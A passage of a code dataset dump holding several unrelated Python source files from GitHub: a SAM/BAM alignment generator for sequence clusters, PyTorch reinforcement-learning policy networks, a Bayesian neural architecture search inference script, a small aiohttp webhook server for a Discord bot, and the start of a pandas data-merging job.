(len(l[5].split(',')),sum([int(i) for i in l[6].split(',')]), len(l[2])),reverse=True)\n cl_lines = cl_lines[:keep_seqs]\n now_ind = len(indiv_in_clust(cl_lines))\n now_len = len(cl_lines)\n drop_indiv = set(orig_ind_ct.keys()) - set(indiv_in_clust(cl_lines).keys())\n #summarize!\n print >> sys.stderr, '\\tcluster %s abbreviated: orig %s lines, %s indiv now %s lines, %s indiv (dropped: %s)' % \\\n (clname, orig_len, orig_ind, now_len, now_ind,[(ind,orig_ind_ct[ind]) for ind in drop_indiv])\n\n cl_seqs = [l[2] for l in cl_lines]\n cl_nodes = [l[1] for l in cl_lines]\n #20110919 qscore translation functionality moved to get_uniqued_lines_by_cluster.py\n cl_quals = [l[4] for l in cl_lines]\n\n if seq_len != 0: #truncate sequences\n cl_seqs = [s[:seq_len] for s in cl_seqs]\n cl_quals = [s[:seq_len] for s in cl_quals]\n\n lastnode = None\n cl_node_ids = []\n for node in cl_nodes:\n if node != lastnode:\n ct = 0\n lastnode = node\n else:\n ct += 1\n cl_node_ids.append('%s.%03d' % (node,ct))\n try:\n cl_aln = sorted( zip( cl_node_ids, \\\n musclemap.muscle(cl_seqs,1), \\\n cl_quals, \\\n [zip( l[5].split(','), [int(i) for i in l[6].split(',')] ) for l in cl_lines] ) , \\\n key=lambda x: (len(x[1].replace('-','').replace('N','')),len(x[3]),len(x[2].replace('#',''))),reverse=True)\n except:\n print >> sys.stderr, 'alignment failed for cluster %s (%s lines)' % (clname,len(cl_lines))\n if break_on_error:\n raise\n else:\n print >> sys.stderr, '--skip_errors requested; proceeding'\n return None\n\n return cl_aln\n\n\ndef write_sam_from_aln(clname,cl_aln,rg_dict,samheader_fh,sambody_fh,ref_fh):\n\n raln = cl_aln[0][1]\n\n #sbfh = open(samfile+'.body','w')\n #rofh = open(ref_fasta_file,'w')\n\n rseq = ref_seq_from_clust(clname,cl_aln)\n ref_fh.write(rseq)\n\n #headers (@SQ lines)\n headline = '@SQ\\tSN:%s\\tLN:%s\\n' % (clname,len(cl_aln[0][2]))\n samheader_fh.write(headline)\n\n #body\n for qname,qaln,qqual,inds_cts in cl_aln:\n\n samline = samline_from_alnpair(clname,raln,qname,qaln,qqual)\n if samline is None: continue\n samfields = samline.split()\n rg_lane = qname.split('.')[1]\n #try:\n # if any([len(el) != 2 for el in inds_cts]):\n # print inds_cts\n #except:\n # print cl_aln\n for ind,ct in inds_cts:\n rg = '%s_%s' % (ind,rg_lane)\n rg_dict[rg] = ind\n for i in range(ct):\n this_samline = '\\t'.join([samfields[0]+'.%s.%04d' % (ind,i)] + samfields[1:])\n sambody_fh.write('%s\\tRG:Z:%s\\n' % (this_samline,rg))\n\ndef calc_cluster_dirt(cl_lines):\n\n cl_ind_ct = defaultdict(list)\n for l in cl_lines:\n f = l.split()\n for ind,ct in zip(f[5].split(','),f[6].split(',')):\n cl_ind_ct[(ind,f[1].split('.')[1])].append(int(ct))\n \n totct = sum([sum(v) for v in cl_ind_ct.values()])\n dirtct = sum([sum(sorted(v,reverse=True)[2:]) for v in cl_ind_ct.values()])\n ctdirt = dirtct/float(totct)\n\n return ctdirt\n\nif __name__ == '__main__':\n\n import argparse\n\n ds = ' [%(default)s]'\n #create command line parser\n parser = argparse.ArgumentParser(description='generates SAM/BAM by multiple alignment within graph clusters')\n\n parser.add_argument('-d','--clust_dirt_max',default=0.10,type=float,help='cluster \"dirt\" threshold for processing (see documentation)'+ds)\n parser.add_argument('-i','--min_indiv',default=20,type=int,help='minimum number of individuals with at least one sequence in a cluster to include cluster'+ds)\n parser.add_argument('-k','--keep_seqs',default=100,type=int,help='only retain this many sequences for processing'+ds)\n parser.add_argument('-l','--seq_len',default=0,type=int,help='arbitrarily truncate sequences in SAM/BAM output at this length if not 0'+ds)\n\n parser.add_argument('-cs','--calc_only',action='store_true',help='calculate cluster statistics at supplied thresholds; do not generate alignments'+ds)\n parser.add_argument('-s','--skip_errors',action='store_true',help=''+ds)\n \n parser.add_argument('cluniq',help='sorted .cluniq file containing cluster-associated unique sequences')\n parser.add_argument('fbase',help='basename for output files')\n\n opts = parser.parse_args()\n\n cluniq = opts.cluniq\n fbase = opts.fbase\n clust_dirt_max = opts.clust_dirt_max\n min_indiv = opts.min_indiv\n keep_seqs = opts.keep_seqs\n seq_len = opts.seq_len\n \n fdir = os.path.dirname(fbase)\n\n try:\n os.makedirs(fdir)\n except:\n pass\n\n if opts.skip_errors:\n break_on_error = False\n print >> sys.stderr, 'skip_errors invoked; problem clusters will be skipped entirely'\n else:\n break_on_error = True\n print >> sys.stderr, 'skip_errors not set; problem clusters will halt analysis'\n\n fh = open(cluniq)\n if not opts.calc_only:\n samheader_fh = open(fbase+'.sam.header','w')\n sambody_fh = open(fbase+'.sam.body','w')\n ref_fh = open(fbase+'.fa','w')\n clstats_fh = open(fbase+'.clstats','w')\n\n rg_dict = {}\n\n this_cl = None\n cl_lines = []\n\n cl_on = 0\n for l in fh:\n if l.split()[0] != this_cl:\n if this_cl is not None:\n cl_dirt = calc_cluster_dirt(cl_lines)\n cl_indiv = len(indiv_in_clust(cl_lines))\n clstats_fh.write('%s\\t%s\\t%s\\t%s\\n' % (this_cl,len(cl_lines),cl_indiv,cl_dirt))\n if cl_on % 100 == 0: print >> sys.stderr, '%s\\tcluster: %s\\tunique seqs: %s\\tindiv: %s\\tdirt: %s' % (cl_on,this_cl,len(cl_lines),cl_indiv,cl_dirt)\n if not opts.calc_only and cl_dirt < clust_dirt_max and cl_indiv >= min_indiv: \n cl_aln = aln_from_clust(this_cl,cl_lines,keep_seqs,seq_len,break_on_error)\n write_sam_from_aln(this_cl,cl_aln,rg_dict,samheader_fh,sambody_fh,ref_fh)\n\n cl_on += 1\n this_cl = l.split()[0]\n cl_lines = []\n cl_lines.append(l)\n\n clstats_fh.write('%s\\t%s\\t%s\\t%s\\n' % (this_cl,len(cl_lines),cl_indiv,cl_dirt))\n if not opts.calc_only:\n cl_aln = aln_from_clust(this_cl,cl_lines,keep_seqs)\n if cl_aln is not None and calc_cluster_dirt(cl_lines) < clust_dirt_max and len(indiv_in_clust(cl_lines)) >= min_indiv:\n write_sam_from_aln(this_cl,cl_aln,rg_dict,samheader_fh,sambody_fh,ref_fh)\n\n clstats_fh.close()\n os.system(os.path.join(RTDROOT,'plot_error.py %s > %s' % (fbase+'.clstats',fbase+'.clstats.cdest' )))\n \n #finish headers (@RG lines)\n if not opts.calc_only:\n if len(rg_dict) == 0:\n print >> sys.stderr, 'readgroup dict is empty; no individuals included in final dataset. Check number of individuals and cluster dirt cutoffs and re-run'\n print >> sys.stderr, 'close output files ...',\n samheader_fh.close()\n sambody_fh.close()\n ref_fh.close()\n print >> sys.stderr, 'done.\\nremove output files ...',\n os.unlink(samheader_fh.name)\n os.unlink(sambody_fh.name)\n os.unlink(ref_fh.name)\n print >> sys.stderr, 'done' \n sys.exit(1)\n\n\n for rg in rg_dict:\n headline = '@RG\\tID:%s\\tPL:Illumina\\tLB:%s\\tSM:%s\\n' % (rg,rg_dict[rg],rg_dict[rg])\n samheader_fh.write(headline)\n\n samheader_fh.close()\n sambody_fh.close()\n ref_fh.close()\n\n print >> sys.stderr, 'index reference'\n os.system('samtools faidx %s.fa' % (fbase))\n print >> sys.stderr, 'add headers and sort'\n os.system('cat %s.sam.header %s.sam.body | samtools view -bS - | samtools sort - %s' % (fbase,fbase,fbase))\n print >> sys.stderr, 'index bam'\n os.system('samtools index %s.bam' % (fbase))\n print >> sys.stderr, 'done'\n","repo_name":"brantp/rtd","sub_path":"sam_from_clust_uniqued.py","file_name":"sam_from_clust_uniqued.py","file_ext":"py","file_size_in_byte":11916,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"44"} +{"seq_id":"32363789074","text":"import math\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom running_stat import ObsNorm\nfrom distributions import Categorical, DiagGaussian\nfrom utils import AddBias\nimport random\nimport numpy as np\n\ndef weights_init(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1 or classname.find('Linear') != -1:\n nn.init.orthogonal(m.weight.data)\n if m.bias is not None:\n m.bias.data.fill_(0)\n\n\nclass FFPolicy(nn.Module):\n def __init__(self):\n super(FFPolicy, self).__init__()\n\n def forward(self, x):\n raise NotImplementedError\n\n def act(self, inputs, deterministic=False):\n value, x = self(inputs)\n action = self.dist.sample(x, deterministic=deterministic)\n return value, action\n\n def evaluate_actions(self, inputs, actions):\n value, x = self(inputs)\n action_log_probs, dist_entropy = self.dist.evaluate_actions(x, actions)\n return value, action_log_probs, dist_entropy\n\nclass ProgressivePolicy(FFPolicy):\n def __init__(self, num_inputs, action_space, previous_column, backward):\n super(ProgressivePolicy, self).__init__()\n \n print(\"Do you want backward connection: \", backward)\n self.previous_column = previous_column\n self.conv1 = nn.Conv2d(num_inputs, 32, 8, stride=4, bias=False)\n\n alpha_list = [1, 0.1, 0.01]\n self.alpha1 = nn.Parameter(torch.from_numpy(np.array([random.choice(alpha_list)])).float())\n print(self.alpha1)\n self.alpha2 = nn.Parameter(torch.from_numpy(np.array([random.choice(alpha_list)])).float())\n print(self.alpha2)\n self.alpha3 = nn.Parameter(torch.from_numpy(np.array([random.choice(alpha_list)])).float())\n print(self.alpha2)\n\n if backward:\n self.alpha4 = nn.Parameter(torch.from_numpy(np.array([random.choice(alpha_list)])).float())\n\n #self.V1 = nn.Conv2d(32, 16, 1, stride=1, bias=True)\n self.U1 = nn.Conv2d(32, 32, 3, padding=1, stride=1, bias=True)\n self.U2 = nn.Conv2d(64, 64, 3, padding=1, stride=1, bias=True)\n\n self.ab1 = AddBias(32)\n self.conv2 = nn.Conv2d(32, 64, 4, stride=2, bias=False)\n self.ab2 = AddBias(64)\n self.conv3 = nn.Conv2d(64, 32, 3, stride=1, bias=False)\n self.ab3 = AddBias(32)\n\n self.V3 = nn.Conv2d(32, 8, 1, stride=1, bias=True)\n self.U3 = nn.Linear(8 * 7 * 7, 32*7*7, bias=True)\n\n self.linear1 = nn.Linear(32 * 7 * 7, 512, bias=False)\n self.ab_fc1 = AddBias(512)\n\n self.critic_linear = nn.Linear(512, 1, bias=False)\n self.ab_fc2 = AddBias(1)\n\n if action_space.__class__.__name__ == \"Discrete\":\n num_outputs = action_space.n\n self.dist = Categorical(512, num_outputs)\n elif action_space.__class__.__name__ == \"Box\":\n num_outputs = action_space.shape[0]\n self.dist = DiagGaussian(512, num_outputs)\n else:\n raise NotImplementedError\n\n self.apply(weights_init)\n\n relu_gain = nn.init.calculate_gain('relu')\n self.conv1.weight.data.mul_(relu_gain)\n self.conv2.weight.data.mul_(relu_gain)\n self.conv3.weight.data.mul_(relu_gain)\n self.linear1.weight.data.mul_(relu_gain)\n self.U1.weight.data.mul_(relu_gain)\n\n if action_space.__class__.__name__ == \"Box\":\n self.dist.fc_mean.weight.data.mul_(0.01)\n\n self.train()\n\n def forward(self, inputs):\n self.previous_column.forward(inputs)\n a1 = self.previous_column.layer1 * self.alpha1\n v1 = self.U1(a1)\n v1 = F.relu(v1)\n x = self.conv1(inputs/255.0)\n x = self.ab1(x)\n x = F.relu(x + v1)\n\n x = self.conv2(x)\n x = self.ab2(x)\n \n a2 = self.previous_column.layer2 * self.alpha2\n v2 = self.U2(a2)\n v2 = F.relu(v2)\n\n x = F.relu(x + v2)\n\n x = self.conv3(x)\n x = self.ab3(x)\n\n a3 = self.previous_column.layer3 * self.alpha3\n a3 = self.V3(a3)\n a3 = F.relu(a3)\n a3 = a3.view(-1, 8 * 7 * 7)\n a3 = self.U3(a3)\n \n #x = F.relu(x)\n\n\n x = x.view(-1, 32 * 7 * 7)\n x = F.relu(x + a3)\n x = self.linear1(x)\n x = self.ab_fc1(x)\n x = F.relu(x)\n print(self.alpha1, self.alpha2, self.alpha3)\n\n return self.ab_fc2(self.critic_linear(x)), x\n\n\nclass CNNPolicy(FFPolicy):\n def __init__(self, num_inputs, action_space):\n super(CNNPolicy, self).__init__()\n \n #self.layer1, self.layer2, self.layer3, self.layer4, self.layer5 = None\n self.conv1 = nn.Conv2d(num_inputs, 32, 8, stride=4, bias=False)\n self.ab1 = AddBias(32)\n self.conv2 = nn.Conv2d(32, 64, 4, stride=2, bias=False)\n self.ab2 = AddBias(64)\n self.conv3 = nn.Conv2d(64, 32, 3, stride=1, bias=False)\n self.ab3 = AddBias(32)\n\n self.linear1 = nn.Linear(32 * 7 * 7, 512, bias=False)\n self.ab_fc1 = AddBias(512)\n\n self.critic_linear = nn.Linear(512, 1, bias=False)\n self.ab_fc2 = AddBias(1)\n\n if action_space.__class__.__name__ == \"Discrete\":\n num_outputs = action_space.n\n self.dist = Categorical(512, num_outputs)\n elif action_space.__class__.__name__ == \"Box\":\n num_outputs = action_space.shape[0]\n self.dist = DiagGaussian(512, num_outputs)\n else:\n raise NotImplementedError\n\n self.apply(weights_init)\n\n relu_gain = nn.init.calculate_gain('relu')\n self.conv1.weight.data.mul_(relu_gain)\n self.conv2.weight.data.mul_(relu_gain)\n self.conv3.weight.data.mul_(relu_gain)\n self.linear1.weight.data.mul_(relu_gain)\n\n if action_space.__class__.__name__ == \"Box\":\n self.dist.fc_mean.weight.data.mul_(0.01)\n\n self.train()\n\n def forward(self, inputs):\n x = self.conv1(inputs / 255.0)\n x = self.ab1(x)\n x = F.relu(x)\n self.layer1 = x\n\n x = self.conv2(x)\n x = self.ab2(x)\n x = F.relu(x)\n self.layer2 = x\n\n x = self.conv3(x)\n x = self.ab3(x)\n x = F.relu(x)\n self.layer3 = x\n\n x = x.view(-1, 32 * 7 * 7)\n x = self.linear1(x)\n x = self.ab_fc1(x)\n x = F.relu(x)\n self.layer4 = x\n\n return self.ab_fc2(self.critic_linear(x)), x\n\n\ndef weights_init_mlp(m):\n classname = m.__class__.__name__\n if classname.find('Linear') != -1:\n m.weight.data.normal_(0, 1)\n m.weight.data *= 1 / torch.sqrt(m.weight.data.pow(2).sum(1, keepdim=True))\n if m.bias is not None:\n m.bias.data.fill_(0)\n\n\nclass MLPPolicy(FFPolicy):\n def __init__(self, num_inputs, action_space):\n super(MLPPolicy, self).__init__()\n\n self.obs_filter = ObsNorm((1, num_inputs), clip=5)\n self.action_space = action_space\n\n self.a_fc1 = nn.Linear(num_inputs, 64, bias=False)\n self.a_ab1 = AddBias(64)\n self.a_fc2 = nn.Linear(64, 64, bias=False)\n self.a_ab2 = AddBias(64)\n\n self.v_fc1 = nn.Linear(num_inputs, 64, bias=False)\n self.v_ab1 = AddBias(64)\n self.v_fc2 = nn.Linear(64, 64, bias=False)\n self.v_ab2 = AddBias(64)\n self.v_fc3 = nn.Linear(64, 1, bias=False)\n self.v_ab3 = AddBias(1)\n\n if action_space.__class__.__name__ == \"Discrete\":\n num_outputs = action_space.n\n self.dist = Categorical(64, num_outputs)\n elif action_space.__class__.__name__ == \"Box\":\n num_outputs = action_space.shape[0]\n self.dist = DiagGaussian(64, num_outputs)\n else:\n raise NotImplementedError\n\n self.apply(weights_init_mlp)\n\n tanh_gain = nn.init.calculate_gain('tanh')\n #self.a_fc1.weight.data.mul_(tanh_gain)\n #self.a_fc2.weight.data.mul_(tanh_gain)\n #self.v_fc1.weight.data.mul_(tanh_gain)\n #self.v_fc2.weight.data.mul_(tanh_gain)\n\n if action_space.__class__.__name__ == \"Box\":\n self.dist.fc_mean.weight.data.mul_(0.01)\n\n self.train()\n\n def cuda(self, **args):\n super(MLPPolicy, self).cuda(**args)\n self.obs_filter.cuda()\n\n def cpu(self, **args):\n super(MLPPolicy, self).cpu(**args)\n self.obs_filter.cpu()\n\n def forward(self, inputs):\n inputs.data = self.obs_filter(inputs.data)\n\n x = self.v_fc1(inputs)\n x = self.v_ab1(x)\n x = F.tanh(x)\n\n x = self.v_fc2(x)\n x = self.v_ab2(x)\n x = F.tanh(x)\n\n x = self.v_fc3(x)\n x = self.v_ab3(x)\n value = x\n\n x = self.a_fc1(inputs)\n x = self.a_ab1(x)\n x = F.tanh(x)\n\n x = self.a_fc2(x)\n x = self.a_ab2(x)\n x = F.tanh(x)\n\n return value, x\n","repo_name":"parthchadha/progressive_transfer","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"11881198335","text":"import os\r\nimport sys\r\nimport time\r\nimport glob\r\nimport numpy as np\r\nimport torch\r\nimport utils\r\nimport json\r\nimport logging\r\nimport argparse\r\nimport torch.nn as nn\r\nimport torch.utils\r\nimport torch.nn.functional as F\r\nimport torchvision.datasets as dset\r\nimport torch.backends.cudnn as cudnn\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nimport torch.utils.data as Data\r\n\r\nfrom torch.autograd import Variable\r\nfrom model_search import Network\r\nfrom architect import Architect\r\nfrom HYFJ_imbalance_noise_pkl import HYFJ_class_num, pkl_to_tensorset\r\n# from UoC_Dataset import UoC_class_num, UoC_DATASET\r\n# from TNdataset_V2 import TN_train_set, TN_class_num\r\nfrom distribution import GaussianVariational, ScaleMixturePrior\r\nimport visdom\r\n\r\nparser = argparse.ArgumentParser(\"cifar\")\r\nparser.add_argument('--data', type=str, default='../data', help='location of the data corpus')\r\nparser.add_argument('--valid_set_path', type=str, default='../data/HYFJ-validwithout-noise.pkl', help='location of the data corpus')\r\nparser.add_argument('--batch_size', type=int, default=32, help='batch size')\r\nparser.add_argument('--learning_rate', type=float, default=0.02, help='init learning rate')\r\nparser.add_argument('--learning_rate_min', type=float, default=0.001, help='min learning rate')\r\nparser.add_argument('--momentum', type=float, default=0.9, help='momentum')\r\nparser.add_argument('--weight_decay', type=float, default=3e-4, help='weight decay')\r\nparser.add_argument('--report_freq', type=float, default=50, help='report frequency')\r\nparser.add_argument('--gpu', type=int, default=1, help='gpu device id')\r\nparser.add_argument('--epochs', type=int, default=3, help='num of training epochs')\r\nparser.add_argument('--init_channels', type=int, default=1, help='num of init channels')\r\nparser.add_argument('--layers', type=int, default=8, help='total number of layers')\r\nparser.add_argument('--model_path', type=str, default='saved_models', help='path to save the model')\r\nparser.add_argument('--super_model', type=str, default='hyper-network-EXP-20201106-174803/just_train_weights-149.pt', help='path of super model')\r\n# search-EXP-20200916-191330/just_train_weights-149.pt\r\n# search-EXP-20200917-161950/search_phase_weights-29.pt\r\nparser.add_argument('--super_alpha', type=str, default='evaluator-EXP-20201107-092043/plot_alpha_trend/', help='path of alpha')\r\nparser.add_argument('--cutout', action='store_true', default=False, help='use cutout')\r\nparser.add_argument('--cutout_length', type=int, default=16, help='cutout length')\r\nparser.add_argument('--drop_path_prob', type=float, default=0.3, help='drop path probability')\r\nparser.add_argument('--save', type=str, default='EXP', help='experiment name')\r\nparser.add_argument('--seed', type=int, default=2, help='random seed')\r\nparser.add_argument('--grad_clip', type=float, default=5, help='gradient clipping')\r\nparser.add_argument('--train_portion', type=float, default=0.5, help='portion of training data')\r\nparser.add_argument('--unrolled', action='store_true', default=False, help='use one-step unrolled validation loss')\r\nparser.add_argument('--arch_learning_rate', type=float, default=3e-3, help='learning rate for arch encoding')\r\nparser.add_argument('--arch_weight_decay', type=float, default=1e-3, help='weight decay for arch encoding')\r\nparser.add_argument('--just_train', type=int, default=1, help='pure train')\r\nparser.add_argument('--sample_num', type=int, default=1, help='posterior sample')\r\nparser.add_argument('--epoch_flag', action='store_true', default=True, help='alpha sample flag')\r\nparser.add_argument('--arch_infer', type=int, default=2000, help='forward inference to pick the top architecture set')\r\nparser.add_argument('--arch_ensemble', type=int, default=10, help='child model set')\r\nparser.add_argument('--init_alphas', action='store_true', default=True, help='init alphas')\r\nparser.add_argument('--drop_weights_prob', type=float, default=0.3, help='drop weights probability during -just_train-')\r\nparser.add_argument('--train_before_drop', action='store_true', default=True, help='alpha sample flag')\r\nparser.add_argument('--path_weights_flag', action='store_true', default=False, help='alpha dropout flag')\r\nparser.add_argument('--epoch_before_drop', type=int, default=20, help='pure train')\r\nargs = parser.parse_args()\r\n\r\nargs.save = 'sampling_arch-{}-{}'.format(args.save, time.strftime(\"%Y%m%d-%H%M%S\"))\r\nutils.create_exp_dir(args.save, scripts_to_save=glob.glob('*.py'))\r\n\r\nlog_format = '%(asctime)s %(message)s'\r\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO,\r\n format=log_format, datefmt='%m/%d %I:%M:%S %p')\r\nfh = logging.FileHandler(os.path.join(args.save, 'log.txt'))\r\nfh.setFormatter(logging.Formatter(log_format))\r\nlogging.getLogger().addHandler(fh)\r\n\r\n\r\nCIFAR_CLASSES = HYFJ_class_num\r\ndevice = torch.device(\"cuda\")\r\n\r\n\r\nviz = visdom.Visdom()\r\n\r\n###################################3\r\n\r\ndef main():\r\n if not torch.cuda.is_available():\r\n logging.info('no gpu device available')\r\n sys.exit(1)\r\n\r\n np.random.seed(args.seed)\r\n torch.cuda.set_device(args.gpu)\r\n cudnn.benchmark = True\r\n torch.manual_seed(args.seed)\r\n cudnn.enabled = True\r\n torch.cuda.manual_seed(args.seed)\r\n logging.info('gpu device = %d' % args.gpu)\r\n logging.info(\"args = %s\", args)\r\n\r\n criterion = nn.CrossEntropyLoss()\r\n criterion = criterion.cuda()\r\n model = Network(args.init_channels*8, CIFAR_CLASSES, args.layers, criterion, epoch_flag=args.epoch_flag,\r\n init_alphas=args.init_alphas, drop_alpha_prob=args.drop_weights_prob,\r\n TRIAN_before_drop=args.train_before_drop, path_weights_flag=args.path_weights_flag)\r\n # print(model.classifier.weight)\r\n model = model.to(device)\r\n utils.load(model, args.super_model)\r\n # print(model.classifier.weight)\r\n logging.info(\"param size = %fMB\", utils.count_parameters_in_MB(model))\r\n\r\n UoC_validset = pkl_to_tensorset(args.valid_set_path)\r\n valid_len = len(UoC_validset)\r\n valid_queue = torch.utils.data.DataLoader(\r\n UoC_validset, batch_size=args.batch_size,\r\n sampler=torch.utils.data.sampler.SubsetRandomSampler(np.random.choice(range(len(UoC_validset)), valid_len)),\r\n pin_memory=True, num_workers=0)\r\n\r\n # ----------------update the alpha mu and rho------------------------\r\n temp_a = open(args.super_alpha + 'Alphas_normal_mu.txt', 'r', encoding='UTF-8')\r\n alphas_a = json.loads(temp_a.read())\r\n alphas_a = np.array(alphas_a)\r\n alphas_normal_mu = Variable(torch.from_numpy(np.float32(alphas_a[-1:, :, :])).squeeze(0).cuda(), requires_grad=False)\r\n model.alphas_normal_mu = alphas_normal_mu\r\n\r\n temp_b = open(args.super_alpha + 'Alphas_normal_rho.txt', 'r', encoding='UTF-8')\r\n alphas_b = json.loads(temp_b.read())\r\n alphas_b = np.array(alphas_b)\r\n alphas_normal_rho = Variable(torch.from_numpy(np.float32(alphas_b[-1:, :, :])).squeeze(0).cuda(), requires_grad=False)\r\n model.alphas_normal_rho = alphas_normal_rho\r\n\r\n temp_c = open(args.super_alpha + 'Alphas_reduce_mu.txt', 'r', encoding='UTF-8')\r\n alphas_c = json.loads(temp_c.read())\r\n alphas_c = np.array(alphas_c)\r\n alphas_reduce_mu = Variable(torch.from_numpy(np.float32(alphas_c[-1:, :, :])).squeeze(0).cuda(), requires_grad=False)\r\n model.alphas_reduce_mu = alphas_reduce_mu\r\n\r\n temp_d = open(args.super_alpha + 'Alphas_reduce_rho.txt', 'r', encoding='UTF-8')\r\n alphas_d = json.loads(temp_d.read())\r\n alphas_d = np.array(alphas_d)\r\n alphas_reduce_rho = Variable(torch.from_numpy(np.float32(alphas_d[-1:, :, :])).squeeze(0).cuda(), requires_grad=False)\r\n model.alphas_reduce_rho = alphas_reduce_rho\r\n # ---------------------------------------------------------------------\r\n model.normal_weight_sampler = GaussianVariational(alphas_normal_mu, alphas_normal_rho)\r\n model.reduce_weight_sampler = GaussianVariational(alphas_reduce_mu, alphas_reduce_rho)\r\n\r\n # start to inference arch\r\n logging.info('start to inference architecture set: sample_num %d set_num %d', args.arch_infer, args.arch_ensemble)\r\n viz.line([0], [-1], win='infer_acc', opts=dict(title='infer_acc'))\r\n viz.line([0], [-1], win='spareness', opts=dict(title='spareness'))\r\n viz.line([0], [-1], win='cosine', opts=dict(title='cosine'))\r\n viz.line([0], [-1], win='pearson', opts=dict(title='pearson'))\r\n geno_set = []\r\n arch_infer_acc_list = []\r\n # arch_uncertainty_metric_list = []\r\n arch_alpha_spareness_list = []\r\n alphas_similarity_cosine_list = []\r\n alphas_similarity_pearson_list = []\r\n print(model.alphas_normal_mu)\r\n print(model.alphas_normal_rho)\r\n # model._epoch_flag = True\r\n for i in range(args.arch_infer):\r\n print('==========================================================')\r\n inference_normal_weights_sample = model.normal_weight_sampler.sample() # sample()\r\n inference_reduce_weights_sample = model.reduce_weight_sampler.sample() # sample()\r\n model._get_normal_weights = inference_normal_weights_sample\r\n model._get_reduce_weights = inference_reduce_weights_sample\r\n\r\n logging.info('iter of arch_infer %d', i)\r\n arch_infer_acc, arch_infer_obj = arch_infer(valid_queue, model, criterion)\r\n logging.info('arch_infer_acc %f', arch_infer_acc)\r\n arch_infer_acc_list.append(arch_infer_acc)\r\n viz.line([arch_infer_acc], [i], win='infer_acc', update='append')\r\n\r\n alphas_similarity_cosine, alphas_similarity_pearson = utils.alphas_similarity(inference_normal_weights_sample, alphas_normal_mu,\r\n inference_reduce_weights_sample, alphas_reduce_mu)\r\n logging.info('alphas_similarity_cosine %f', alphas_similarity_cosine)\r\n alphas_similarity_cosine_list.append(alphas_similarity_cosine)\r\n viz.line([alphas_similarity_cosine], [i], win='cosine', update='append')\r\n logging.info('alphas_similarity_pearson %f', alphas_similarity_pearson)\r\n alphas_similarity_pearson_list.append(alphas_similarity_pearson)\r\n viz.line([alphas_similarity_pearson], [i], win='pearson', update='append')\r\n\r\n arch_alpha_spareness = utils.alphas_sparse(inference_normal_weights_sample, inference_reduce_weights_sample)\r\n logging.info('alpha_spareness %f', arch_alpha_spareness)\r\n arch_alpha_spareness_list.append(arch_alpha_spareness)\r\n viz.line([arch_alpha_spareness], [i], win='spareness', update='append')\r\n print(model._get_normal_weights)\r\n print(model._get_reduce_weights)\r\n\r\n # logging.info('sample_normal_weights %s', model._get_noraml_weights)\r\n # logging.info('sample_reduce_weights %s', model._get_reduce_weights)\r\n infer_geno = model.infer_genotype()\r\n geno_set.append(infer_geno)\r\n logging.info('infer_geno = %s', infer_geno)\r\n arch_ensamble_set_df = pd.DataFrame({'infer_acc': arch_infer_acc_list, 'infer_geno': geno_set,\r\n 'alphas_similarity_cosine': alphas_similarity_cosine_list,\r\n 'alphas_similarity_pearson': alphas_similarity_pearson_list,\r\n 'alpha_spareness': arch_alpha_spareness_list})\r\n df_save_path = '../arch_inference/arch_set-' + time.strftime(\"%Y%m%d-%H%M%S\") + '.csv'\r\n arch_ensamble_set_df.to_csv(df_save_path, index=None)\r\n\r\ndef arch_infer(valid_queue, model, criterion):\r\n objs = utils.AvgrageMeter()\r\n top1 = utils.AvgrageMeter()\r\n top5 = utils.AvgrageMeter()\r\n with torch.no_grad():\r\n model.eval()\r\n for step, (input, target) in enumerate(valid_queue):\r\n input = input.to(device)\r\n target = target.to(device)\r\n # print(input)\r\n # print(target)\r\n\r\n logits = model.forward_arch_infer(input)\r\n # print(logits)\r\n loss = criterion(logits, target)\r\n\r\n prec1, prec5 = utils.accuracy(logits, target, topk=(1, 2))\r\n # print(prec1)\r\n # print(prec5)\r\n n = input.size(0)\r\n objs.update(loss.item(), n)\r\n top1.update(prec1.item(), n)\r\n top5.update(prec5.item(), n)\r\n\r\n if step % args.report_freq == 0:\r\n logging.info('test %03d %e %f %f', step, objs.avg, top1.avg, top5.avg)\r\n\r\n return top1.avg, objs.avg\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"shuangjian24/Bayesian_Differentiable_Architecture_Search_for_Fault_Diagnosis","sub_path":"inferenc_bayesian_sample.py","file_name":"inferenc_bayesian_sample.py","file_ext":"py","file_size_in_byte":12111,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"7643132634","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n from .bot import Dwello\n\nfrom aiohttp import web\n\n#from utils import ENV, DataBaseOperations, Twitch # noqa: F401, E402\n\n# REDO\n\n\nclass AiohttpWeb:\n def __init__(self, bot: Dwello) -> None:\n self.bot = bot\n self.app: web.Application = web.Application()\n self.app.router.add_post(\"/api/post\", self.handle_post)\n\n async def handle_post(self, request):\n print(request)\n data = await request.json()\n print(data)\n\n await self.bot.twitch.twitch_to_discord(data)\n return web.json_response({\"message\": f\"data received by aiohttp: {data}\"})\n\n async def run(self, port: int = 8081):\n runner = web.AppRunner(self.app)\n await runner.setup()\n site = web.TCPSite(runner, \"localhost\", port)\n\n try:\n await self.bot.loop.create_task(site.start())\n\n except Exception as e:\n print(f\"Failed to start web server: {e}\")\n\n\n","repo_name":"DwellerIsTaken/discordbot","sub_path":"core/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"34"} +{"seq_id":"35723617704","text":"import os\n\nimport pandas as pd\n\n# Import variable with the absolute path os the project, to ensure code portability\nfrom Job_desafio_modulo_5.config.definitions import ROOT_DIR\n\n\ndef transform_data():\n\n # loading data to be merged and transformed\n orders = pd.read_csv(os.path.join(ROOT_DIR, 'outputs', 'output_orders.csv'))\n order_details = pd.read_csv(os.path.join(ROOT_DIR, 'outputs', 'output_order_details.csv'))\n\n # creating a column OrderId as type object to be used as key of the join\n orders['OrderId'] = orders['Id'].astype('object')\n \n\n joined_data = order_details.merge(orders, how='left', on='OrderId')\n\n # Filtering to get only the data of interest (in this case, all orders shipped to Rio de 